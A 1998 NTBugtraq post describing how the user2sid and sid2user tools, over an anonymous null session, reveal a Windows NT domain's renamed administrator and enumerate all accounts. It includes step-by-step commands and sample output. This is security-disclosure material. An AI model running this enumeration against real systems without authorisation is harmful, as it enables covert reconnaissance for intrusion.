sid2user&user2sid(附源码)

From: Evgenii Borisovich Rudnyi Sent: Tuesday, April 28, 1998 3:22 PM To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM Subject: name of built-in administrator While learning what SID is, I have written two utilities, user2sid and sid2user, which are actually command line interfaces to WIN32 functions, LookupAccountName and LookupAccountSid. So, no hacking, just what is permitted by MS. Now, it happens that to use these function a user have just to be EVERYONE. It means that an ordinary user can find without a problem a built-in domain administrator name, which MS recommends us to rename from administrator to something else (see for example, course 803, Administrating Windows NT 4.0). Assuming that user's computer is in the domain, the task is solved by two steps. 1) Looking up a SID of any domain account, for example Domain Users user2sid "domain users" S-1-5-21-201642981-56263093-24269216-513 Now we know all the subauthorities for the current domain. All the domain account SIDs are different by the last number only (so called RID). 2) Looking up an built-in administrator name (RID is always 500) sid2user 5 21 201642981 56263093 24269216 500 Name is SmallUser Domain is DomainName Type of SID is SidTypeUser 3) Now it is possible to look up all the domain accounts from the very first one (RID = 1000 for the first account, 1001 for the second and so on, RIDs are never used again for the current installation). sid2user 5 21 201642981 56263093 24269216 1000 sid2user 5 21 201642981 56263093 24269216 1001 ... It should be interesting for everyone to know the history of developing the domain account database. Well, this is not the end of the story. The anonymous logon is also in the EVERYONE group. This means that actually it is possible to find out who is a built-in administrator and to see the history of the SAM at any domain into which you can run the anonymous session. Note that anonymous sessions are not audited by logon/logoff category. I have tried it here on several MS APEC and SD centers. It happens that none of their administrators has bothered to disable netbios ports. So, below is an example of what you can learn provided the netbios ports are open (the listing is fictional). nslookup www.xyz.com Non-authoritative answer: Name: www.xyz.com Address: 131.107.2.200 net use \\131.107.2.200\ipc$ "" /user:"" The command completed successfully. user2sid \\131.107.2.200 "domain users" S-1-5-21-201642981-56263093-24269216-513 Number of subauthorities is 5 Domain is XYZ_domain Length of SID in memory is 28 bytes Type of SID is SidTypeGroup sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 500 Name is XYZAdmin Domain is XYZ_domain Type of SID is SidTypeUser sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1000 Name is Domain is XYZ_domain Type of SID is SidTypeDeletedAccount sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1001 Name is Simpson Domain is XYZ_domain Type of SID is SidTypeUser sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1112 LookupSidName failed - no such account SP3 does not prevent this to happen (at least without further manual editing the registry). As I see it, it is not a bug. I have made nothing illegal, just following the WIN32 manual. Thus, this is the feature. For those who would like to try it, the utilities can be found at my homepages http://www.chem.msu.su/~rudnyi/NT/sid.zip The file is about 50 Kb, the link may be slow though. I give them to public domain, feel free to publish them from your servers if you want it to. Good hunting, Evgenii Rudnyi -- Chemistry Department rudnyi@comp.chem.msu.su Moscow State University http://www.chem.msu.su/~rudnyi/welcome.html 119899 Moscow +7(095)939 5452, f�